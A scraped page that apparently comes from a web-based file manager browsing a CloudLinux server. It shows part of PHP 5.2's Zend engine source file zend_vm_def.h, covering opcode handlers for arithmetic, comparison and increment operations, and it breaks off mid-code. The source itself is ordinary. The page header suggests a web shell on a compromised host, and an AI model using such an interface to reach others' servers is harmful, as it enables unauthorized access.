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: /proc/thread-self/root/opt/cloudlinux/alt-php52/root/usr/include/php/Zend/ Upload File: files >> //proc/thread-self/root/opt/cloudlinux/alt-php52/root/usr/include/php/Zend/zend_vm_def.h /* +----------------------------------------------------------------------+ | Zend Engine | +----------------------------------------------------------------------+ | Copyright (c) 1998-2010 Zend Technologies Ltd. (http://www.zend.com) | +----------------------------------------------------------------------+ | This source file is subject to version 2.00 of the Zend license, | | that is bundled with this package in the file LICENSE, and is | | available through the world-wide-web at the following url: | | http://www.zend.com/license/2_00.txt. | | If you did not receive a copy of the Zend license and are unable to | | obtain it through the world-wide-web, please send a note to | | license@zend.com so we can mail you a copy immediately. | +----------------------------------------------------------------------+ | Authors: Andi Gutmans <andi@zend.com> | | Zeev Suraski <zeev@zend.com> | | Dmitry Stogov <dmitry@zend.com> | +----------------------------------------------------------------------+ */ /* $Id: zend_vm_def.h 300990 2010-07-05 09:08:35Z dmitry $ */ /* If you change this file, please regenerate the zend_vm_execute.h and * zend_vm_opcodes.h files by running: * php zend_vm_gen.php */ ZEND_VM_HANDLER(1, ZEND_ADD, CONST|TMP|VAR|CV, CONST|TMP|VAR|CV) { zend_op *opline = EX(opline); zend_free_op free_op1, free_op2; add_function(&EX_T(opline->result.u.var).tmp_var, GET_OP1_ZVAL_PTR(BP_VAR_R), GET_OP2_ZVAL_PTR(BP_VAR_R) TSRMLS_CC); FREE_OP1(); FREE_OP2(); ZEND_VM_NEXT_OPCODE(); } ZEND_VM_HANDLER(2, ZEND_SUB, CONST|TMP|VAR|CV, CONST|TMP|VAR|CV) { zend_op *opline = EX(opline); zend_free_op free_op1, free_op2; sub_function(&EX_T(opline->result.u.var).tmp_var, GET_OP1_ZVAL_PTR(BP_VAR_R), GET_OP2_ZVAL_PTR(BP_VAR_R) TSRMLS_CC); FREE_OP1(); FREE_OP2(); ZEND_VM_NEXT_OPCODE(); } ZEND_VM_HANDLER(3, ZEND_MUL, CONST|TMP|VAR|CV, CONST|TMP|VAR|CV) { zend_op *opline = EX(opline); zend_free_op free_op1, free_op2; mul_function(&EX_T(opline->result.u.var).tmp_var, GET_OP1_ZVAL_PTR(BP_VAR_R), GET_OP2_ZVAL_PTR(BP_VAR_R) TSRMLS_CC); FREE_OP1(); FREE_OP2(); ZEND_VM_NEXT_OPCODE(); } ZEND_VM_HANDLER(4, ZEND_DIV, CONST|TMP|VAR|CV, CONST|TMP|VAR|CV) { zend_op *opline = EX(opline); zend_free_op free_op1, free_op2; div_function(&EX_T(opline->result.u.var).tmp_var, GET_OP1_ZVAL_PTR(BP_VAR_R), GET_OP2_ZVAL_PTR(BP_VAR_R) TSRMLS_CC); FREE_OP1(); FREE_OP2(); ZEND_VM_NEXT_OPCODE(); } ZEND_VM_HANDLER(5, ZEND_MOD, CONST|TMP|VAR|CV, CONST|TMP|VAR|CV) { zend_op *opline = EX(opline); zend_free_op free_op1, free_op2; mod_function(&EX_T(opline->result.u.var).tmp_var, GET_OP1_ZVAL_PTR(BP_VAR_R), GET_OP2_ZVAL_PTR(BP_VAR_R) TSRMLS_CC); FREE_OP1(); FREE_OP2(); ZEND_VM_NEXT_OPCODE(); } ZEND_VM_HANDLER(6, ZEND_SL, CONST|TMP|VAR|CV, CONST|TMP|VAR|CV) { zend_op *opline = EX(opline); zend_free_op free_op1, free_op2; shift_left_function(&EX_T(opline->result.u.var).tmp_var, GET_OP1_ZVAL_PTR(BP_VAR_R), GET_OP2_ZVAL_PTR(BP_VAR_R) TSRMLS_CC); FREE_OP1(); FREE_OP2(); ZEND_VM_NEXT_OPCODE(); } ZEND_VM_HANDLER(7, ZEND_SR, CONST|TMP|VAR|CV, CONST|TMP|VAR|CV) { zend_op *opline = EX(opline); zend_free_op free_op1, free_op2; shift_right_function(&EX_T(opline->result.u.var).tmp_var, GET_OP1_ZVAL_PTR(BP_VAR_R), GET_OP2_ZVAL_PTR(BP_VAR_R) TSRMLS_CC); FREE_OP1(); FREE_OP2(); ZEND_VM_NEXT_OPCODE(); } ZEND_VM_HANDLER(8, ZEND_CONCAT, CONST|TMP|VAR|CV, CONST|TMP|VAR|CV) { zend_op *opline = EX(opline); zend_free_op free_op1, free_op2; concat_function(&EX_T(opline->result.u.var).tmp_var, GET_OP1_ZVAL_PTR(BP_VAR_R), GET_OP2_ZVAL_PTR(BP_VAR_R) TSRMLS_CC); FREE_OP1(); FREE_OP2(); ZEND_VM_NEXT_OPCODE(); } ZEND_VM_HANDLER(15, ZEND_IS_IDENTICAL, CONST|TMP|VAR|CV, CONST|TMP|VAR|CV) { zend_op *opline = EX(opline); zend_free_op free_op1, free_op2; is_identical_function(&EX_T(opline->result.u.var).tmp_var, GET_OP1_ZVAL_PTR(BP_VAR_R), GET_OP2_ZVAL_PTR(BP_VAR_R) TSRMLS_CC); FREE_OP1(); FREE_OP2(); ZEND_VM_NEXT_OPCODE(); } ZEND_VM_HANDLER(16, ZEND_IS_NOT_IDENTICAL, CONST|TMP|VAR|CV, CONST|TMP|VAR|CV) { zend_op *opline = EX(opline); zend_free_op free_op1, free_op2; is_not_identical_function(&EX_T(opline->result.u.var).tmp_var, GET_OP1_ZVAL_PTR(BP_VAR_R), GET_OP2_ZVAL_PTR(BP_VAR_R) TSRMLS_CC); FREE_OP1(); FREE_OP2(); ZEND_VM_NEXT_OPCODE(); } ZEND_VM_HANDLER(17, ZEND_IS_EQUAL, CONST|TMP|VAR|CV, CONST|TMP|VAR|CV) { zend_op *opline = EX(opline); zend_free_op free_op1, free_op2; is_equal_function(&EX_T(opline->result.u.var).tmp_var, GET_OP1_ZVAL_PTR(BP_VAR_R), GET_OP2_ZVAL_PTR(BP_VAR_R) TSRMLS_CC); FREE_OP1(); FREE_OP2(); ZEND_VM_NEXT_OPCODE(); } ZEND_VM_HANDLER(18, ZEND_IS_NOT_EQUAL, CONST|TMP|VAR|CV, CONST|TMP|VAR|CV) { zend_op *opline = EX(opline); zend_free_op free_op1, free_op2; is_not_equal_function(&EX_T(opline->result.u.var).tmp_var, GET_OP1_ZVAL_PTR(BP_VAR_R), GET_OP2_ZVAL_PTR(BP_VAR_R) TSRMLS_CC); FREE_OP1(); FREE_OP2(); ZEND_VM_NEXT_OPCODE(); } ZEND_VM_HANDLER(19, ZEND_IS_SMALLER, CONST|TMP|VAR|CV, CONST|TMP|VAR|CV) { zend_op *opline = EX(opline); zend_free_op free_op1, free_op2; is_smaller_function(&EX_T(opline->result.u.var).tmp_var, GET_OP1_ZVAL_PTR(BP_VAR_R), GET_OP2_ZVAL_PTR(BP_VAR_R) TSRMLS_CC); FREE_OP1(); FREE_OP2(); ZEND_VM_NEXT_OPCODE(); } ZEND_VM_HANDLER(20, ZEND_IS_SMALLER_OR_EQUAL, CONST|TMP|VAR|CV, CONST|TMP|VAR|CV) { zend_op *opline = EX(opline); zend_free_op free_op1, free_op2; is_smaller_or_equal_function(&EX_T(opline->result.u.var).tmp_var, GET_OP1_ZVAL_PTR(BP_VAR_R), GET_OP2_ZVAL_PTR(BP_VAR_R) TSRMLS_CC); FREE_OP1(); FREE_OP2(); ZEND_VM_NEXT_OPCODE(); } ZEND_VM_HANDLER(9, ZEND_BW_OR, CONST|TMP|VAR|CV, CONST|TMP|VAR|CV) { zend_op *opline = EX(opline); zend_free_op free_op1, free_op2; bitwise_or_function(&EX_T(opline->result.u.var).tmp_var, GET_OP1_ZVAL_PTR(BP_VAR_R), GET_OP2_ZVAL_PTR(BP_VAR_R) TSRMLS_CC); FREE_OP1(); FREE_OP2(); ZEND_VM_NEXT_OPCODE(); } ZEND_VM_HANDLER(10, ZEND_BW_AND, CONST|TMP|VAR|CV, CONST|TMP|VAR|CV) { zend_op *opline = EX(opline); zend_free_op free_op1, free_op2; bitwise_and_function(&EX_T(opline->result.u.var).tmp_var, GET_OP1_ZVAL_PTR(BP_VAR_R), GET_OP2_ZVAL_PTR(BP_VAR_R) TSRMLS_CC); FREE_OP1(); FREE_OP2(); ZEND_VM_NEXT_OPCODE(); } ZEND_VM_HANDLER(11, ZEND_BW_XOR, CONST|TMP|VAR|CV, CONST|TMP|VAR|CV) { zend_op *opline = EX(opline); zend_free_op free_op1, free_op2; bitwise_xor_function(&EX_T(opline->result.u.var).tmp_var, GET_OP1_ZVAL_PTR(BP_VAR_R), GET_OP2_ZVAL_PTR(BP_VAR_R) TSRMLS_CC); FREE_OP1(); FREE_OP2(); ZEND_VM_NEXT_OPCODE(); } ZEND_VM_HANDLER(14, ZEND_BOOL_XOR, CONST|TMP|VAR|CV, CONST|TMP|VAR|CV) { zend_op *opline = EX(opline); zend_free_op free_op1, free_op2; boolean_xor_function(&EX_T(opline->result.u.var).tmp_var, GET_OP1_ZVAL_PTR(BP_VAR_R), GET_OP2_ZVAL_PTR(BP_VAR_R) TSRMLS_CC); FREE_OP1(); FREE_OP2(); ZEND_VM_NEXT_OPCODE(); } ZEND_VM_HANDLER(12, ZEND_BW_NOT, CONST|TMP|VAR|CV, ANY) { zend_op *opline = EX(opline); zend_free_op free_op1; bitwise_not_function(&EX_T(opline->result.u.var).tmp_var, GET_OP1_ZVAL_PTR(BP_VAR_R) TSRMLS_CC); FREE_OP1(); ZEND_VM_NEXT_OPCODE(); } ZEND_VM_HANDLER(13, ZEND_BOOL_NOT, CONST|TMP|VAR|CV, ANY) { zend_op *opline = EX(opline); zend_free_op free_op1; boolean_not_function(&EX_T(opline->result.u.var).tmp_var, GET_OP1_ZVAL_PTR(BP_VAR_R) TSRMLS_CC); FREE_OP1(); ZEND_VM_NEXT_OPCODE(); } ZEND_VM_HELPER_EX(zend_binary_assign_op_obj_helper, VAR|UNUSED|CV, CONST|TMP|VAR|UNUSED|CV, int (*binary_op)(zval *result, zval *op1, zval *op2 TSRMLS_DC)) { zend_op *opline = EX(opline); zend_op *op_data = opline+1; zend_free_op free_op1, free_op2, free_op_data1; zval **object_ptr = GET_OP1_OBJ_ZVAL_PTR_PTR(BP_VAR_W); zval *object; zval *property = GET_OP2_ZVAL_PTR(BP_VAR_R); zval *value = get_zval_ptr(&op_data->op1, EX(Ts), &free_op_data1, BP_VAR_R); znode *result = &opline->result; zval **retval = &EX_T(result->u.var).var.ptr; int have_get_ptr = 0; if (OP1_TYPE == IS_VAR && !object_ptr) { zend_error_noreturn(E_ERROR, "Cannot use string offset as an object"); } EX_T(result->u.var).var.ptr_ptr = NULL; make_real_object(object_ptr TSRMLS_CC); object = *object_ptr; if (Z_TYPE_P(object) != IS_OBJECT) { zend_error(E_WARNING, "Attempt to assign property of non-object"); FREE_OP2(); FREE_OP(free_op_data1); if (!RETURN_VALUE_UNUSED(result)) { *retval = EG(uninitialized_zval_ptr); PZVAL_LOCK(*retval); } } else { /* here we are sure we are dealing with an object */ if (IS_OP2_TMP_FREE()) { MAKE_REAL_ZVAL_PTR(property); } /* here property is a string */ if (opline->extended_value == ZEND_ASSIGN_OBJ && Z_OBJ_HT_P(object)->get_property_ptr_ptr) { zval **zptr = Z_OBJ_HT_P(object)->get_property_ptr_ptr(object, property TSRMLS_CC); if (zptr != NULL) { /* NULL means no success in getting PTR */ SEPARATE_ZVAL_IF_NOT_REF(zptr); have_get_ptr = 1; binary_op(*zptr, *zptr, value TSRMLS_CC); if (!RETURN_VALUE_UNUSED(result)) { *retval = *zptr; PZVAL_LOCK(*retval); } } } if (!have_get_ptr) { zval *z = NULL; switch (opline->extended_value) { case ZEND_ASSIGN_OBJ: if (Z_OBJ_HT_P(object)->read_property) { z = Z_OBJ_HT_P(object)->read_property(object, property, BP_VAR_R TSRMLS_CC); } break; case ZEND_ASSIGN_DIM: if (Z_OBJ_HT_P(object)->read_dimension) { z = Z_OBJ_HT_P(object)->read_dimension(object, property, BP_VAR_R TSRMLS_CC); } break; } if (z) { if (Z_TYPE_P(z) == IS_OBJECT && Z_OBJ_HT_P(z)->get) { zval *value = Z_OBJ_HT_P(z)->get(z TSRMLS_CC); if (z->refcount == 0) { zval_dtor(z); FREE_ZVAL(z); } z = value; } z->refcount++; SEPARATE_ZVAL_IF_NOT_REF(&z); binary_op(z, z, value TSRMLS_CC); switch (opline->extended_value) { case ZEND_ASSIGN_OBJ: Z_OBJ_HT_P(object)->write_property(object, property, z TSRMLS_CC); break; case ZEND_ASSIGN_DIM: Z_OBJ_HT_P(object)->write_dimension(object, property, z TSRMLS_CC); break; } if (!RETURN_VALUE_UNUSED(result)) { *retval = z; PZVAL_LOCK(*retval); } zval_ptr_dtor(&z); } else { zend_error(E_WARNING, "Attempt to assign property of non-object"); if (!RETURN_VALUE_UNUSED(result)) { *retval = EG(uninitialized_zval_ptr); PZVAL_LOCK(*retval); } } } if (IS_OP2_TMP_FREE()) { zval_ptr_dtor(&property); } else { FREE_OP2(); } FREE_OP(free_op_data1); } FREE_OP1_VAR_PTR(); /* assign_obj has two opcodes! */ ZEND_VM_INC_OPCODE(); ZEND_VM_NEXT_OPCODE(); } ZEND_VM_HELPER_EX(zend_binary_assign_op_helper, VAR|UNUSED|CV, CONST|TMP|VAR|UNUSED|CV, int (*binary_op)(zval *result, zval *op1, zval *op2 TSRMLS_DC)) { zend_op *opline = EX(opline); zend_free_op free_op1, free_op2, free_op_data2, free_op_data1; zval **var_ptr; zval *value; zend_bool increment_opline = 0; switch (opline->extended_value) { case ZEND_ASSIGN_OBJ: ZEND_VM_DISPATCH_TO_HELPER_EX(zend_binary_assign_op_obj_helper, binary_op, binary_op); break; case ZEND_ASSIGN_DIM: { zval **object_ptr = GET_OP1_OBJ_ZVAL_PTR_PTR(BP_VAR_W); if (object_ptr && OP1_TYPE != IS_CV && !OP1_FREE) { (*object_ptr)->refcount++; /* undo the effect of get_obj_zval_ptr_ptr() */ } if (object_ptr && Z_TYPE_PP(object_ptr) == IS_OBJECT) { ZEND_VM_DISPATCH_TO_HELPER_EX(zend_binary_assign_op_obj_helper, binary_op, binary_op); } else { zend_op *op_data = opline+1; zval *dim = GET_OP2_ZVAL_PTR(BP_VAR_R); zend_fetch_dimension_address(&EX_T(op_data->op2.u.var), GET_OP1_ZVAL_PTR_PTR(BP_VAR_RW), dim, IS_OP2_TMP_FREE(), BP_VAR_RW TSRMLS_CC); value = get_zval_ptr(&op_data->op1, EX(Ts), &free_op_data1, BP_VAR_R); var_ptr = get_zval_ptr_ptr(&op_data->op2, EX(Ts), &free_op_data2, BP_VAR_RW); increment_opline = 1; } } break; default: value = GET_OP2_ZVAL_PTR(BP_VAR_R); var_ptr = GET_OP1_ZVAL_PTR_PTR(BP_VAR_RW); /* do nothing */ break; } if (!var_ptr) { zend_error_noreturn(E_ERROR, "Cannot use assign-op operators with overloaded objects nor string offsets"); } if (*var_ptr == EG(error_zval_ptr)) { if (!RETURN_VALUE_UNUSED(&opline->result)) { EX_T(opline->result.u.var).var.ptr_ptr = &EG(uninitialized_zval_ptr); PZVAL_LOCK(*EX_T(opline->result.u.var).var.ptr_ptr); AI_USE_PTR(EX_T(opline->result.u.var).var); } FREE_OP2(); FREE_OP1_VAR_PTR(); if (increment_opline) { ZEND_VM_INC_OPCODE(); } ZEND_VM_NEXT_OPCODE(); } SEPARATE_ZVAL_IF_NOT_REF(var_ptr); if(Z_TYPE_PP(var_ptr) == IS_OBJECT && Z_OBJ_HANDLER_PP(var_ptr, get) && Z_OBJ_HANDLER_PP(var_ptr, set)) { /* proxy object */ zval *objval = Z_OBJ_HANDLER_PP(var_ptr, get)(*var_ptr TSRMLS_CC); objval->refcount++; binary_op(objval, objval, value TSRMLS_CC); Z_OBJ_HANDLER_PP(var_ptr, set)(var_ptr, objval TSRMLS_CC); zval_ptr_dtor(&objval); } else { binary_op(*var_ptr, *var_ptr, value TSRMLS_CC); } if (!RETURN_VALUE_UNUSED(&opline->result)) { EX_T(opline->result.u.var).var.ptr_ptr = var_ptr; PZVAL_LOCK(*var_ptr); AI_USE_PTR(EX_T(opline->result.u.var).var); } FREE_OP2(); if (increment_opline) { ZEND_VM_INC_OPCODE(); FREE_OP(free_op_data1); FREE_OP_VAR_PTR(free_op_data2); } FREE_OP1_VAR_PTR(); ZEND_VM_NEXT_OPCODE(); } ZEND_VM_HANDLER(23, ZEND_ASSIGN_ADD, VAR|UNUSED|CV, CONST|TMP|VAR|UNUSED|CV) { ZEND_VM_DISPATCH_TO_HELPER_EX(zend_binary_assign_op_helper, binary_op, add_function); } ZEND_VM_HANDLER(24, ZEND_ASSIGN_SUB, VAR|UNUSED|CV, CONST|TMP|VAR|UNUSED|CV) { ZEND_VM_DISPATCH_TO_HELPER_EX(zend_binary_assign_op_helper, binary_op, sub_function); } ZEND_VM_HANDLER(25, ZEND_ASSIGN_MUL, VAR|UNUSED|CV, CONST|TMP|VAR|UNUSED|CV) { ZEND_VM_DISPATCH_TO_HELPER_EX(zend_binary_assign_op_helper, binary_op, mul_function); } ZEND_VM_HANDLER(26, ZEND_ASSIGN_DIV, VAR|UNUSED|CV, CONST|TMP|VAR|UNUSED|CV) { ZEND_VM_DISPATCH_TO_HELPER_EX(zend_binary_assign_op_helper, binary_op, div_function); } ZEND_VM_HANDLER(27, ZEND_ASSIGN_MOD, VAR|UNUSED|CV, CONST|TMP|VAR|UNUSED|CV) { ZEND_VM_DISPATCH_TO_HELPER_EX(zend_binary_assign_op_helper, binary_op, mod_function); } ZEND_VM_HANDLER(28, ZEND_ASSIGN_SL, VAR|UNUSED|CV, CONST|TMP|VAR|UNUSED|CV) { ZEND_VM_DISPATCH_TO_HELPER_EX(zend_binary_assign_op_helper, binary_op, shift_left_function); } ZEND_VM_HANDLER(29, ZEND_ASSIGN_SR, VAR|UNUSED|CV, CONST|TMP|VAR|UNUSED|CV) { ZEND_VM_DISPATCH_TO_HELPER_EX(zend_binary_assign_op_helper, binary_op, shift_right_function); } ZEND_VM_HANDLER(30, ZEND_ASSIGN_CONCAT, VAR|UNUSED|CV, CONST|TMP|VAR|UNUSED|CV) { ZEND_VM_DISPATCH_TO_HELPER_EX(zend_binary_assign_op_helper, binary_op, concat_function); } ZEND_VM_HANDLER(31, ZEND_ASSIGN_BW_OR, VAR|UNUSED|CV, CONST|TMP|VAR|UNUSED|CV) { ZEND_VM_DISPATCH_TO_HELPER_EX(zend_binary_assign_op_helper, binary_op, bitwise_or_function); } ZEND_VM_HANDLER(32, ZEND_ASSIGN_BW_AND, VAR|UNUSED|CV, CONST|TMP|VAR|UNUSED|CV) { ZEND_VM_DISPATCH_TO_HELPER_EX(zend_binary_assign_op_helper, binary_op, bitwise_and_function); } ZEND_VM_HANDLER(33, ZEND_ASSIGN_BW_XOR, VAR|UNUSED|CV, CONST|TMP|VAR|UNUSED|CV) { ZEND_VM_DISPATCH_TO_HELPER_EX(zend_binary_assign_op_helper, binary_op, bitwise_xor_function); } ZEND_VM_HELPER_EX(zend_pre_incdec_property_helper, VAR|UNUSED|CV, CONST|TMP|VAR|CV, incdec_t incdec_op) { zend_op *opline = EX(opline); zend_free_op free_op1, free_op2; zval **object_ptr = GET_OP1_OBJ_ZVAL_PTR_PTR(BP_VAR_W); zval *object; zval *property = GET_OP2_ZVAL_PTR(BP_VAR_R); zval **retval = &EX_T(opline->result.u.var).var.ptr; int have_get_ptr = 0; if (OP1_TYPE == IS_VAR && !object_ptr) { zend_error_noreturn(E_ERROR, "Cannot increment/decrement overloaded objects nor string offsets"); } make_real_object(object_ptr TSRMLS_CC); /* this should modify object only if it's empty */ object = *object_ptr; if (Z_TYPE_P(object) != IS_OBJECT) { zend_error(E_WARNING, "Attempt to increment/decrement property of non-object"); FREE_OP2(); if (!RETURN_VALUE_UNUSED(&opline->result)) { *retval = EG(uninitialized_zval_ptr); PZVAL_LOCK(*retval); } FREE_OP1_VAR_PTR(); ZEND_VM_NEXT_OPCODE(); } /* here we are sure we are dealing with an object */ if (IS_OP2_TMP_FREE()) { MAKE_REAL_ZVAL_PTR(property); } if (Z_OBJ_HT_P(object)->get_property_ptr_ptr) { zval **zptr = Z_OBJ_HT_P(object)->get_property_ptr_ptr(object, property TSRMLS_CC); if (zptr != NULL) { /* NULL means no success in getting PTR */ SEPARATE_ZVAL_IF_NOT_REF(zptr); have_get_ptr = 1; incdec_op(*zptr); if (!RETURN_VALUE_UNUSED(&opline->result)) { *retval = *zptr; PZVAL_LOCK(*retval); } } } if (!have_get_ptr) { if (Z_OBJ_HT_P(object)->read_property && Z_OBJ_HT_P(object)->write_property) { zval *z = Z_OBJ_HT_P(object)->read_property(object, property, BP_VAR_R TSRMLS_CC); if (Z_TYPE_P(z) == IS_OBJECT && Z_OBJ_HT_P(z)->get) { zval *value = Z_OBJ_HT_P(z)->get(z TSRMLS_CC); if (z->refcount == 0) { zval_dtor(z); FREE_ZVAL(z); } z = value; } z->refcount++; SEPARATE_ZVAL_IF_NOT_REF(&z); incdec_op(z); *retval = z; Z_OBJ_HT_P(object)->write_property(object, property, z TSRMLS_CC); SELECTIVE_PZVAL_LOCK(*retval, &opline->result); zval_ptr_dtor(&z); } else { zend_error(E_WARNING, "Attempt to increment/decrement property of non-object"); if (!RETURN_VALUE_UNUSED(&opline->result)) { *retval = EG(uninitialized_zval_ptr); PZVAL_LOCK(*retval); } } } if (IS_OP2_TMP_FREE()) { zval_ptr_dtor(&property); } else { FREE_OP2(); } FREE_OP1_VAR_PTR(); ZEND_VM_NEXT_OPCODE(); } ZEND_VM_HANDLER(132, ZEND_PRE_INC_OBJ, VAR|UNUSED|CV, CONST|TMP|VAR|CV) { ZEND_VM_DISPATCH_TO_HELPER_EX(zend_pre_incdec_property_helper, incdec_op, increment_function); } ZEND_VM_HANDLER(133, ZEND_PRE_DEC_OBJ, VAR|UNUSED|CV, CONST|TMP|VAR|CV) { ZEND_VM_DISPATCH_TO_HELPER_EX(zend_pre_incdec_property_helper, incdec_op, decrement_function); } ZEND_VM_HELPER_EX(zend_post_incdec_property_helper, VAR|UNUSED|CV, CONST|TMP|VAR|CV, incdec_t incdec_op) { zend_op *opline = EX(opline); zend_free_op free_op1, free_op2; zval **object_ptr = GET_OP1_OBJ_ZVAL_PTR_PTR(BP_VAR_W); zval *object; zval *property = GET_OP2_ZVAL_PTR(BP_VAR_R); zval *retval = &EX_T(opline->result.u.var).tmp_var; int have_get_ptr = 0; if (OP1_TYPE == IS_VAR && !object_ptr) { zend_error_noreturn(E_ERROR, "Cannot increment/decrement overloaded objects nor string offsets"); } make_real_object(object_ptr TSRMLS_CC); /* this should modify object only if it's empty */ object = *object_ptr; if (Z_TYPE_P(object) != IS_OBJECT) { zend_error(E_WARNING, "Attempt to increment/decrement property of non-object"); FREE_OP2(); *retval = *EG(uninitialized_zval_ptr); FREE_OP1_VAR_PTR(); ZEND_VM_NEXT_OPCODE(); } /* here we are sure we are dealing with an object */ if (IS_OP2_TMP_FREE()) { MAKE_REAL_ZVAL_PTR(property); } if (Z_OBJ_HT_P(object)->get_property_ptr_ptr) { zval **zptr = Z_OBJ_HT_P(object)->get_property_ptr_ptr(object, property TSRMLS_CC); if (zptr != NULL) { /* NULL means no success in getting PTR */ have_get_ptr = 1; SEPARATE_ZVAL_IF_NOT_REF(zptr); *retval = **zptr; zendi_zval_copy_ctor(*retval); incdec_op(*zptr); } } if (!have_get_ptr) { if (Z_OBJ_HT_P(object)->read_property && Z_OBJ_HT_P(object)->write_property) { zval *z = Z_OBJ_HT_P(object)->read_property(object, property, BP_VAR_R TSRMLS_CC); zval *z_copy; if (Z_TYPE_P(z) == IS_OBJECT && Z_OBJ_HT_P(z)->get) { zval *value = Z_OBJ_HT_P(z)->get(z TSRMLS_CC); if (z->refcount == 0) { zval_dtor(z); FREE_ZVAL(z); } z = value; } *retval = *z; zendi_zval_copy_ctor(*retval); ALLOC_ZVAL(z_copy); *z_copy = *z; zendi_zval_copy_ctor(*z_copy); INIT_PZVAL(z_copy); incdec_op(z_copy); z->refcount++; Z_OBJ_HT_P(object)->write_property(object, property, z_copy TSRMLS_CC); zval_ptr_dtor(&z_copy); zval_ptr_dtor(&z); } else { zend_error(E_WARNING, "Attempt to increment/decrement property of non-object"); *retval = *EG(uninitialized_zval_ptr); } } if (IS_OP2_TMP_FREE()) { zval_ptr_dtor(&property); } else { FREE_OP2(); } FREE_OP1_VAR_PTR(); ZEND_VM_NEXT_OPCODE(); } ZEND_VM_HANDLER(134, ZEND_POST_INC_OBJ, VAR|UNUSED|CV, CONST|TMP|VAR|CV) { ZEND_VM_DISPATCH_TO_HELPER_EX(zend_post_incdec_property_helper, incdec_op, increment_function); } ZEND_VM_HANDLER(135, ZEND_POST_DEC_OBJ, VAR|UNUSED|CV, CONST|TMP|VAR|CV) { ZEND_VM_DISPATCH_TO_HELPER_EX(zend_post_incdec_property_helper, incdec_op, decrement_function); } ZEND_VM_HANDLER(34, ZEND_PRE_INC, VAR|CV, ANY) { zend_op *opline = EX(opline); zend_free_op free_op1; zval **var_ptr = GET_OP1_ZVAL_PTR_PTR(BP_VAR_RW); if (!var_ptr) { zend_error_noreturn(E_ERROR, "Cannot increment/decrement overloaded objects nor string offsets"); } if (*var_ptr == EG(error_zval_ptr)) { if (!RETURN_VALUE_UNUSED(&opline->result)) { EX_T(opline->result.u.var).var.ptr_ptr = &EG(uninitialized_zval_ptr); PZVAL_LOCK(*EX_T(opline->result.u.var).var.ptr_ptr); AI_USE_PTR(EX_T(opline->result.u.var).var); } FREE_OP1_VAR_PTR(); ZEND_VM_NEXT_OPCODE(); } SEPARATE_ZVAL_IF_NOT_REF(var_ptr); if(Z_TYPE_PP(var_ptr) == IS_OBJECT && Z_OBJ_HANDLER_PP(var_ptr, get) && Z_OBJ_HANDLER_PP(var_ptr, set)) { /* proxy object */ zval *val = Z_OBJ_HANDLER_PP(var_ptr, get)(*var_ptr TSRMLS_CC); val->refcount++; increment_function(val); Z_OBJ_HANDLER_PP(var_ptr, set)(var_ptr, val TSRMLS_CC); zval_ptr_dtor(&val); } else { increment_function(*var_ptr); } if (!RETURN_VALUE_UNUSED(&opline->result)) { EX_T(opline->result.u.var).var.ptr_ptr = var_ptr; PZVAL_LOCK(*var_ptr); AI_USE_PTR(EX_T(opline->result.u.var).var); } FREE_OP1_VAR_PTR(); ZEND_VM_NEXT_OPCODE(); } ZEND_VM_HANDLER(35, ZEND_PRE_DEC, VAR|CV, ANY) { zend_op *opline = EX(opline); zend_free_op free_op1; zval **var_ptr = GET_OP1_ZVAL_PTR_PTR(BP_VAR_RW); if (!var_ptr) { zend_error_noreturn(E_ERROR, "Cannot increment/decrement overloaded objects nor string offsets"); } if (*var_ptr == EG(error_zval_ptr)) { if (!RETURN_VALUE_UNUSED(&opline->result)) { EX_T(opline->result.u.var).var.ptr_ptr = &EG(uninitialized_zval_ptr); PZVAL_LOCK(*EX_T(opline->result.u.var).var.ptr_ptr); AI_USE_PTR(EX_T(opline->result.u.var).var); } FREE_OP1_VAR_PTR(); ZEND_VM_NEXT_OPCODE(); } SEPARATE_ZVAL_IF_NOT_REF(var_ptr); if(Z_TYPE_PP(var_ptr) == IS_OBJECT && Z_OBJ_HANDLER_PP(var_ptr, get) && Z_OBJ_HANDLER_PP(var_ptr, set)) { /* proxy object */ zval *val = Z_OBJ_HANDLER_PP(var_ptr, get)(*var_ptr TSRMLS_CC); val->refcount++; decrement_function(val); Z_OBJ_HANDLER_PP(var_ptr, set)(var_ptr, val TSRMLS_CC); zval_ptr_dtor(&val); } else { decrement_function(*var_ptr); } if (!RETURN_VALUE_UNUSED(&opline->result)) { EX_T(opline->result.u.var).var.ptr_ptr = var_ptr; PZVAL_LOCK(*var_ptr); AI_USE_PTR(EX_T(opline->result.u.var).var); } FREE_OP1_VAR_PTR(); ZEND_VM_NEXT_OPCODE(); } ZEND_VM_HANDLER(36, ZEND_POST_INC, VAR|CV, ANY) { zend_op *opline = EX(opline); zend_free_op free_op1; zval **var_ptr = GET_OP1_ZVAL_PTR_PTR(BP_VAR_RW); if (!var_ptr) { zend_error_noreturn(E_ERROR, "Cannot increment/decrement overloaded objects nor string offsets"); } if (*var_ptr == EG(error_zval_ptr)) { if (!RETURN_VALUE_UNUSED(&opline->result)) { EX_T(opline->result.u.var).tmp_var = *EG(uninitialized_zval_ptr); } FREE_OP1_VAR_PTR(); ZEND_VM_NEXT_OPCODE(); } EX_T(opline->result.u.var).tmp_var = **var_ptr; zendi_zval_copy_ctor(EX_T(opline->result.u.var).tmp_var); SEPARATE_ZVAL_IF_NOT_REF(var_ptr); if(Z_TYPE_PP(var_ptr) == IS_OBJECT && Z_OBJ_HANDLER_PP(var_ptr, get) && Z_OBJ_HANDLER_PP(var_ptr, set)) { /* proxy object */ zval *val = Z_OBJ_HANDLER_PP(var_ptr, get)(*var_ptr TSRMLS_CC); val->refcount++; increment_function(val); Z_OBJ_HANDLER_PP(var_ptr, set)(var_ptr, val TSRMLS_CC); zval_ptr_dtor(&val); } else { increment_function(*var_ptr); } FREE_OP1_VAR_PTR(); ZEND_VM_NEXT_OPCODE(); } ZEND_VM_HANDLER(37, ZEND_POST_DEC, VAR|CV, ANY) { zend_op *opline = EX(opline); zend_free_op free_op1; zval **var_ptr = GET_OP1_ZVAL_PTR_PTR(BP_VAR_RW); if (!var_ptr) { zend_error_noreturn(E_ERROR, "Cannot increment/decrement overloaded objects nor string offsets"); } if (*var_ptr == EG(error_zval_ptr)) { if (!RETURN_VALUE_UNUSED(&opline->result)) { EX_T(opline->result.u.var).tmp_var = *EG(uninitialized_zval_ptr); } FREE_OP1_VAR_PTR(); ZEND_VM_NEXT_OPCODE(); } EX_T(opline->result.u.var).tmp_var = **var_ptr; zendi_zval_copy_ctor(EX_T(opline->result.u.var).tmp_var); SEPARATE_ZVAL_IF_NOT_REF(var_ptr); if(Z_TYPE_PP(var_ptr) == IS_OBJECT && Z_OBJ_HANDLER_PP(var_ptr, get) && Z_OBJ_HANDLER_PP(var_ptr, set)) { /* proxy object */ zval 